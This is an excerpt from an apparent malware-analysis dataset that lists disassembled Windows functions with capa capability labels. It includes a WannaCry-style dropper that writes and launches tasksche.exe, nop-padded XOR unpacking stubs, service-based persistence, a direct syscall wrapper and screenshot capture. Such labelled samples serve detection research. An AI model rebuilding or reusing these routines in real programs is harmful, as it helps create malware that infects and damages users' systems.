joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40bb6b
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x40bc08
push ebx
push esi
call fcn.0040bb34
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0040ba7d
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x40bbb5
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40bc07
push edi
push eax
call fcn.00408b00
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x40bbd5
call fcn.00408038
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40bc06
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0040ba7d
add esp, 0x20
test eax, eax
jne 0x40bbf4
push edi
call fcn.00408038
jmp 0x40bbfc
push ebx
call fcn.00408038
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x431005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..text
nop
nop
mov ebx, 0x40915c
mov ecx, 0x13c1211a
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43104e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x431024
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f3f8
nop
mov ecx, 0x196a3116
nop
nop
test eax, eax
nop
nop
nop
je 0x431084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43106c
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
nop
nop
pop eax
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x430030
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp fcn.00401219

Function at 0x430006
Capabilities:
Encode data using xor

Disassembly:
mov eax, section..text
nop
nop
mov ebx, 0x408f6c
mov ecx, 0x46961384
nop
nop
test eax, eax
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x430024
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42e3d0
nop
mov ecx, 0x43da03be
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x430084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x407ce0
Capabilities:
Extract resource via kernel32 functions
Move file

Disassembly:
sub esp, 0x260
push ebx
push ebp
push esi
push edi
push 0x4313b4
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov esi, eax
xor ebx, ebx
cmp esi, ebx
je 0x407f08
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.CreateProcessA
push esi
call edi
push str.CreateFileA
push esi
mov dword [0x431478], eax
call edi
push str.WriteFile
push esi
mov dword [0x431458], eax
call edi
push 0x431380
push esi
mov dword [0x431460], eax
call edi
mov ecx, dword [0x431478]
mov dword [0x43144c], eax
cmp ecx, ebx
je 0x407f08
cmp dword [0x431458], ebx
je 0x407f08
cmp dword [0x431460], ebx
je 0x407f08
cmp eax, ebx
je 0x407f08
push 0x43137c
push 0x727
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
cmp esi, ebx
je 0x407f08
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, ebx
je 0x407f08
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
cmp eax, ebx
mov dword [esp + 0x10], eax
je 0x407f08
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebp, eax
cmp ebp, ebx
je 0x407f08
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x69]
mov byte [esp + 0x68], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x16d]
mov byte [esp + 0x16c], bl
rep stosd dword es:[edi], eax
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
push str.tasksche.exe
stosw word es:[edi], ax
stosb byte es:[edi], al
push str.WINDOWS
lea eax, [esp + 0x70]
push str.C:_s_s
push eax
call esi
add esp, 0x10
lea ecx, [esp + 0x16c]
push str.WINDOWS
push str.C:_sqeriuwjhrf
push ecx
call esi
add esp, 0xc
lea edx, [esp + 0x16c]
lea eax, [esp + 0x68]
push 1
push edx
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
push ebx
push 4
push 2
push ebx
push ebx
lea ecx, [esp + 0x7c]
push 0x40000000
push ecx
call dword [0x431458]
mov esi, eax
cmp esi, 0xffffffff
je 0x407f08
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x10]
push ebx
push edx
push ebp
push eax
push esi
call dword [0x431460]
push esi
call dword [0x43144c]
xor ecx, ecx
xor eax, eax
mov dword [esp + 0x18], ecx
lea edi, [esp + 0x28]
mov dword [esp + 0x1c], ecx
lea edx, [esp + 0x68]
mov dword [esp + 0x20], ecx
mov ecx, 0x10
rep stosd dword es:[edi], eax
mov edi, 0x431340
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x14], ebx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x14]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x28]
lea edx, [esp + 0x6c]
push ecx
push ebx
push ebx
push 0x8000000
push ebx
push ebx
push ebx
push edx
push ebx
mov dword [esp + 0x4c], 0x44
mov word [esp + 0x7c], bx
mov dword [esp + 0x78], 0x81
call dword [0x431478]
test eax, eax
je 0x407f08
mov eax, dword [esp + 0x18]
push eax
call dword [0x43144c]
mov ecx, dword [esp + 0x14]
push ecx
call dword [0x43144c]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x260
ret
Function at 0x503b67
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ecx, ebp
push ebp
mov ebp, esp
mov dword [0x505076], ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x505298], eax
mov dword [0x505220], 0x5032dd
mov dword [0x50521c], 2
jmp 0x503b97
mov dword [0x505224], 0
mov dword [0x505228], 0
mov dword [0x505218], 0x30
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [0x50522c], eax
mov dword [0x505240], 0x504088
mov dword [0x505238], 0xf
mov dword [0x50506e], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x505230], eax
mov dword [0x505244], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x505234], eax
push 0x505218
call dword [sym.imp.user32.dll_RegisterClassExA]
push 0
push dword [0x50506e]
push 0
push 0
push 0x1e5
push 0x21e
push 0xffffe52a
push 0xfffff588
push 0x40000
push str.wait
push str.aroka
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x505290], eax
push 5
push dword [0x505290]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x505290]
call dword [sym.imp.user32.dll_UpdateWindow]
jmp 0x503c6a
push 0
push 0
push 0
push 0x505248
call dword [sym.imp.user32.dll_GetMessageA]
or eax, eax
je 0x503c97
push 0x505248
call dword [sym.imp.user32.dll_TranslateMessage]
push 0x505248
call dword [sym.imp.user32.dll_DispatchMessageA]
jmp 0x503c6a
mov eax, dword [0x505250]
jmp 0x503ca4
jmp section..htext

Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43000c
nop
nop
nop
pop eax
nop
nop
add eax, 0x403d6f
nop
nop
sub eax, 0x403d15
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x43001e
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp loc.00401219
Function at 0x10002110
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub dword [ebp + 0xc], 1
jne 0x1000213a
push 0
push 0
push dword [ebp + 8]
push 0x10001f80
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x1000213a
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop ebp
ret 0xc
Function at 0x10004a00
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
test edx, edx
jne 0x10004a0b
xor eax, eax
pop ebp
ret
pop ebp
jmp fcn.10004a20
Function at 0x10004cc0
Capabilities:
Create service
Persist via windows service

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push 0xf003f
push 0
push 0
mov ebx, edx
mov esi, ecx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov edi, eax
test edi, edi
jne 0x10004cf6
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x10004d4b
movzx eax, ax
or eax, 0x80070000
pop edi
pop esi
pop ebx
pop ebp
ret
push 0
push 0
push 0
push 0
push 0
push esi
push 1
push 3
push 2
push 0xf01ff
push 0
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
test eax, eax
jne 0x10004d3d
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x10004d2f
movzx esi, si
or esi, 0x80070000
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
ret
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push eax
call esi
push edi
call esi
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x402100
Capabilities:
Capture screenshot

Disassembly:
sub esp, 0xc
push esi
push edi
mov edi, dword [esp + 0x1c]
mov eax, dword [edi + 0x28]
test eax, eax
je 0x40212b
mov esi, dword [esp + 0x18]
push 0
push eax
push esi
call dword [sym.imp.GDI32.dll_SelectPalette]
push esi
mov dword [esp + 0x14], eax
call dword [sym.imp.GDI32.dll_RealizePalette]
jmp 0x40212f
mov esi, dword [esp + 0x18]
mov eax, dword [edi + 0x44]
push ebx
cmp eax, 2
push ebp
je 0x402162
mov eax, dword [edi + 0x60]
mov ecx, dword [edi + 0x5c]
mov edx, dword [edi + 0x10]
push 0xcc0020
push eax
mov eax, dword [edi + 0x54]
push ecx
mov ecx, dword [edi + 0x50]
push edx
push eax
push ecx
push 0
push 0
push esi
call dword [sym.imp.GDI32.dll_BitBlt]
jmp 0x4021e4
mov edx, dword [edi + 0x34]
push edx
call fcn.00401f60
mov eax, dword [edi + 0x34]
push eax
call fcn.00401f60
mov ebp, dword [edi + 8]
mov ebx, dword [edi + 4]
add esp, 8
mov dword [esp + 0x24], 0
lea eax, [eax + ebp - 1]
cdq
idiv ebp
test eax, eax
jle 0x4021e4
mov dword [esp + 0x14], eax
xor esi, esi
mov dword [esp + 0x10], 2
mov ecx, dword [edi + 0x10]
mov edx, dword [esp + 0x24]
mov eax, dword [esp + 0x20]
push 0xcc0020
push 0
push 0
push ecx
push ebp
push ebx
push edx
push esi
push eax
call dword [sym.imp.GDI32.dll_BitBlt]
mov eax, dword [esp + 0x10]
add esi, ebx
dec eax
mov dword [esp + 0x10], eax
jne 0x40219e
mov ecx, dword [esp + 0x24]
mov eax, dword [esp + 0x14]
add ecx, ebp
dec eax
mov dword [esp + 0x24], ecx
mov dword [esp + 0x14], eax
jne 0x402194
mov esi, dword [esp + 0x20]
mov eax, dword [edi + 0x28]
pop ebp
test eax, eax
pop ebx
je 0x4021fb
mov ecx, dword [esp + 0x10]
push 0
push ecx
push esi
call dword [sym.imp.GDI32.dll_SelectPalette]
pop edi
pop esi
add esp, 0xc
ret

Function at 0x4034b0
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 8]
push esi
push edi
mov edi, dword [esp + 0xc]
push eax
push ecx
push 1
push edi
call fcn.00410f86
mov esi, eax
mov eax, dword [0x41dc48]
add esp, 0x10
test eax, eax
je 0x403501
test esi, esi
jle 0x403501
mov ecx, edi
mov edi, esi
mov dl, byte [ecx]
mov al, byte [0x41dc40]
sub dl, al
mov al, byte [0x41dc3c]
xor dl, al
mov al, byte [0x41dd60]
add al, dl
inc ecx
mov byte [0x41dd60], al
mov byte [ecx - 1], al
dec edi
jne 0x4034de
mov eax, esi
pop edi
pop esi
ret

Function at 0x403910
Capabilities:
Get common file path

Disassembly:
push esi
push edi
push 0
call dword [sym.imp.USER32.dll_GetDC]
mov esi, eax
push 0x26
push esi
mov dword [0x42116c], 0
call dword [sym.imp.GDI32.dll_GetDeviceCaps]
test ah, 1
je 0x40393e
mov dword [0x42116c], 1
mov edi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0
call edi
push 1
mov dword [0x421170], eax
call edi
push esi
push 0
mov dword [0x421174], eax
call dword [sym.imp.USER32.dll_ReleaseDC]
push 0x100
push 0x41ee8c
mov dword [0x41f0f8], 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0x100
push 0x41ed84
call fcn.004111c6
mov eax, dword [0x42116c]
add esp, 8
pop edi
pop esi
ret
Function at 0x403c00
Capabilities:
Get graphical window text

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x40
mov ecx, eax
push ebx
push esi
mov esi, eax
push edi
mov edi, dword [esp + 0x50]
and esi, 0xff
sar eax, 8
mov ebx, dword [edi + esi*4 + 0x1a4]
and eax, 0xf
sar ecx, 0x10
cmp eax, 5
ja case.default.0x403c31
jmp dword [eax*4 + 0x403d8c]
mov dword [0x41ff38], esi
pop edi
mov dword [0x41fed0], ebx
pop esi
mov dword [0x41fdf8], 0
pop ebx
add esp, 0x40
ret
cmp ecx, 0x400
jne case.default.0x403c31
mov eax, dword [edi + esi*4 + 0xa4]
push eax
call dword [sym.imp.USER32.dll_GetDlgCtrlID]
mov edx, dword [edi + 0x34]
lea ecx, [esp + 0xc]
push 0x40
push ecx
push eax
push edx
call dword [sym.imp.USER32.dll_GetDlgItemTextA]
test eax, eax
jne 0x403c94
mov dword [ebx], eax
mov dword [0x41ff38], esi
pop edi
pop esi
pop ebx
add esp, 0x40
ret
lea eax, [esp + 0xc]
push eax
call fcn.00410aed
add esp, 4
mov dword [ebx], eax
mov dword [0x41ff38], esi
pop edi
pop esi
pop ebx
add esp, 0x40
ret
cmp ecx, 0x400
jne case.default.0x403c31
mov ecx, dword [edi + esi*4 + 0xa4]
push ecx
call dword [sym.imp.USER32.dll_GetDlgCtrlID]
lea edx, [esp + 0xc]
push 4
push edx
push eax
mov eax, dword [edi + 0x34]
push eax
call dword [sym.imp.USER32.dll_GetDlgItemTextA]
test eax, eax
je 0x403d15
mov ecx, dword [edi + esi*4 + 0xa4]
push 0
push 0
push 0xd5
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
mov edx, dword [edi + esi*4 + 0xa4]
inc eax
push eax
push ebx
push edx
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov dword [0x41ff38], esi
pop edi
pop esi
pop ebx
add esp, 0x40
ret
mov byte [ebx], 0
mov dword [0x41ff38], esi
pop edi
pop esi
pop ebx
add esp, 0x40
ret
mov eax, dword [edi + esi*4 + 0xa4]
push eax
call dword [sym.imp.USER32.dll_GetDlgCtrlID]
mov ecx, dword [edi + 0x34]
push eax
push ecx
call dword [sym.imp.USER32.dll_IsDlgButtonChecked]
mov dword [ebx], eax
mov dword [0x41ff38], esi
pop edi
pop esi
pop ebx
add esp, 0x40
ret
cmp ecx, 9
jne case.default.0x403c31
mov edx, dword [edi + esi*4 + 0xa4]
push 0
push 0
push 0x147
push edx
jmp 0x403d76
mov eax, dword [edi + esi*4 + 0xa4]
push 0
push 0
push 0x188
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
mov dword [ebx], eax
mov dword [0x41ff38], esi
pop edi
pop esi
pop ebx
add esp, 0x40
ret
Function at 0x40d4c0
Capabilities:
Enumerate pe sections

Disassembly:
push ebx
push edi
mov edi, dword [esp + 0xc]
cmp word [edi + 0x10c], 4
jle 0x40d4dd
mov eax, dword [edi + 4]
push str.Too_many_components_for_interleaved_scan
call dword [eax]
add esp, 4
movsx ecx, word [edi + 0x104]
mov edx, dword [edi + 0x44]
xor ebx, ebx
shl ecx, 3
mov word [edi + 0x128], bx
lea eax, [edx + ecx - 1]
cdq
idiv ecx
movsx ecx, word [edi + 0x106]
shl ecx, 3
mov dword [edi + 0x120], eax
mov eax, dword [edi + 0x48]
lea eax, [eax + ecx - 1]
cdq
idiv ecx
cmp word [edi + 0x10c], bx
mov dword [edi + 0x124], eax
jle 0x40d5ec
push esi
movsx ecx, bx
mov esi, dword [edi + ecx*4 + 0x110]
mov ax, word [esi + 6]
mov cx, word [esi + 4]
mov word [esi + 0x1a], ax
imul eax, ecx
movsx edx, cx
mov word [esi + 0x1c], ax
mov eax, dword [esi + 0x10]
shl edx, 3
push edx
push eax
mov word [esi + 0x18], cx
call fcn.0040cd10
movsx ecx, word [esi + 0x1a]
mov edx, dword [esi + 0x14]
mov dword [esi + 0x20], eax
shl ecx, 3
push ecx
push edx
call fcn.0040cd10
mov dword [esi + 0x24], eax
mov ecx, dword [esi + 0x20]
movsx eax, word [esi + 0x18]
imul eax, dword [edi + 0x120]
shl eax, 3
add esp, 0x10
cmp ecx, eax
je 0x40d595
mov ecx, dword [edi + 4]
push str.Im_confused_about_the_image_width
call dword [ecx]
add esp, 4
mov si, word [esi + 0x1c]
movsx edx, word [edi + 0x128]
movsx eax, si
add edx, eax
cmp edx, 0xa
jle 0x40d5b7
mov ecx, dword [edi + 4]
push str.Sampling_factors_too_large_for_interleaved_scan
call dword [ecx]
add esp, 4
mov dx, si
dec esi
test dx, dx
jle 0x40d5dd
movsx eax, si
inc eax
movsx ecx, word [edi + 0x128]
mov word [edi + ecx*2 + 0x12a], bx
inc word [edi + 0x128]
dec eax
jne 0x40d5c4
inc ebx
cmp bx, word [edi + 0x10c]
jl 0x40d528
pop esi
mov edx, dword [edi]
push edi
call dword [edx + 0x80]
add esp, 4
pop edi
pop ebx
ret
Function at 0x41499d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x41d1b0
cmp edx, dword [eax]
je 0x4149bf
add eax, 8
inc ecx
cmp eax, 0x41d240
jl 0x4149b0
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x41d1b0]
jne 0x414aed
mov eax, dword [0x421a88]
cmp eax, 1
je 0x414ac7
test eax, eax
jne 0x4149f0
cmp dword [0x41ad28], 1
je 0x414ac7
cmp edx, 0xfc
je 0x414aed
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x414a27
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00413a20
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00416330
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x414a6a
lea eax, [ebp - 0x1a4]
push eax
call fcn.00416330
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x418680
push edi
call fcn.00416480
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00413a20
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00413a30
lea eax, [ebp - 0xa0]
push 0x418660
push eax
call fcn.00413a30
push dword [esi + 0x41d1b4]
lea eax, [ebp - 0xa0]
push eax
call fcn.00413a30
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.004163f6
add esp, 0x2c
pop edi
jmp 0x414aed
lea eax, [ebp + 8]
lea esi, [esi + 0x41d1b4]
push 0
push eax
push dword [esi]
call fcn.00416330
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0xf83370
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push edi
push 0x1a
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0xf8338e
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [esp + 0x14]
push 0xfac074
push ecx
mov edi, eax
call fcn.00f97198
mov esi, eax
add esp, 8
test esi, esi
jne 0xf833cb
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push ebx
push 1
push edi
call fcn.00f9702e
push esi
call fcn.00f96fb1
add esp, 0x14
mov al, 1
pop edi
pop esi
pop ebx
ret
Function at 0xf86850
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x218
lea eax, [esp]
push ebp
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push eax
push 0x20019
push 0
push ecx
push SysReAllocString
call edi
test eax, eax
jne 0xf868ae
mov ecx, dword [esp + 0xc]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueW]
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c]
push edx
push eax
push 0xfb1720
push ecx
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0xf868ba
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
pop esi
pop ebp
add esp, 0x218
ret
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call esi
lea ecx, [esp + 0x1c]
push str.DefaultIcon
push ecx
call fcn.00f971e1
add esp, 8
lea edx, [esp + 0xc]
lea eax, [esp + 0x1c]
push edx
push 0x20019
push 0
push eax
push SysReAllocString
call edi
test eax, eax
jne 0xf868ae
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x1c]
push ecx
push edx
push 0xfb1720
push eax
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0xf8692a
mov ecx, dword [esp + 0xc]
push ecx
call esi
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x218
ret
mov edx, dword [esp + 0xc]
push edx
call esi
lea eax, [esp + 0x1c]
push 0x2c
push eax
call fcn.00f98082
xor esi, esi
add esp, 8
cmp eax, esi
je 0xf86957
mov word [eax], si
add eax, 2
push eax
call fcn.00f98030
add esp, 4
jmp 0xf86959
xor eax, eax
lea ecx, [esp + 0x18]
push 1
lea edx, [esp + 0x18]
push ecx
push edx
push eax
lea eax, [esp + 0x2c]
mov dword [esp + 0x24], esi
push eax
mov dword [esp + 0x2c], esi
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
test eax, eax
je 0xf868ae
mov al, byte [esp + 0x22c]
test al, al
mov eax, dword [esp + 0x14]
jne 0xf868b0
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebp
add esp, 0x218
ret

Function at 0xf86ff0
Capabilities:
Execute syscall

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
lea edx, [ebp + 0xc]
int 0x2e
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0xf87080
Capabilities:
Get common file path

Disassembly:
sub esp, 0x43c
push esi
mov esi, dword [esp + 0x444]
cmp word [esi + 2], 0x3a
je 0xf870c4
lea eax, [esp + 0x30]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea ecx, [esp + 0x30]
push 0xfac458
push ecx
call fcn.00f971e1
lea edx, [esp + 0x38]
push esi
push edx
call fcn.00f971e1
add esp, 0x10
jmp 0xf870d2
lea eax, [esp + 0x30]
push esi
push eax
call fcn.00f9720b
add esp, 8
lea ecx, [esp + 0x30]
lea edx, [esp + 0x238]
push ecx
push str.___s
push edx
call fcn.00f96dff
lea eax, [esp + 0x244]
lea ecx, [esp + 0x2c]
push eax
push ecx
call fcn.00f87050
mov eax, dword [0xfb1728]
xor esi, esi
add esp, 0x14
lea edx, [esp + 0x20]
cmp eax, esi
mov dword [esp + 8], 0x18
mov dword [esp + 0xc], esi
mov dword [esp + 0x14], 0x40
mov dword [esp + 0x10], edx
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
jne 0xf8713b
push esi
call fcn.00f86fb0
add esp, 4
mov dword [0xfb1728], eax
mov ecx, dword [esp + 0x454]
cmp ecx, 3
jne 0xf8714c
mov ecx, 1
mov edx, dword [esp + 0x458]
push esi
push esi
push 0x20
push ecx
mov ecx, dword [esp + 0x45c]
push ecx
push edx
lea ecx, [esp + 0x40]
push esi
push ecx
mov ecx, dword [esp + 0x468]
lea edx, [esp + 0x28]
or ecx, 0x100000
push edx
lea edx, [esp + 0x28]
push ecx
push edx
push eax
call fcn.00f86ff0
mov ecx, dword [esp + 0x34]
add esp, 0x30
neg eax
sbb eax, eax
pop esi
not eax
and eax, ecx
add esp, 0x43c
ret

Function at 0xf8a440
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push ebx
mov ebx, dword [ecx + 0x88]
test ebx, ebx
je 0xf8a4b7
push esi
xor eax, eax
mov ax, word [ecx + 0x14]
xor esi, esi
mov si, word [ecx + 6]
push edi
xor edi, edi
lea eax, [eax + ecx + 0x18]
test esi, esi
jbe 0xf8a48e
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0xf8a471
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0xf8a47e
add edx, ecx
cmp ebx, edx
jb 0xf8a48a
inc edi
add eax, 0x28
cmp edi, esi
jb 0xf8a467
xor ecx, ecx
jmp 0xf8a4a2
test eax, eax
jne 0xf8a492
xor ecx, ecx
jmp 0xf8a4a2
mov ecx, dword [eax + 0x14]
mov esi, dword [eax + 0xc]
mov eax, dword [esp + 0x10]
sub ecx, esi
add ecx, ebx
add ecx, eax
mov edx, dword [esp + 0x18]
push edx
push 0
push 0
push ecx
push ecx
call fcn.00f8a3c0
add esp, 0x14
pop edi
pop esi
pop ebx
ret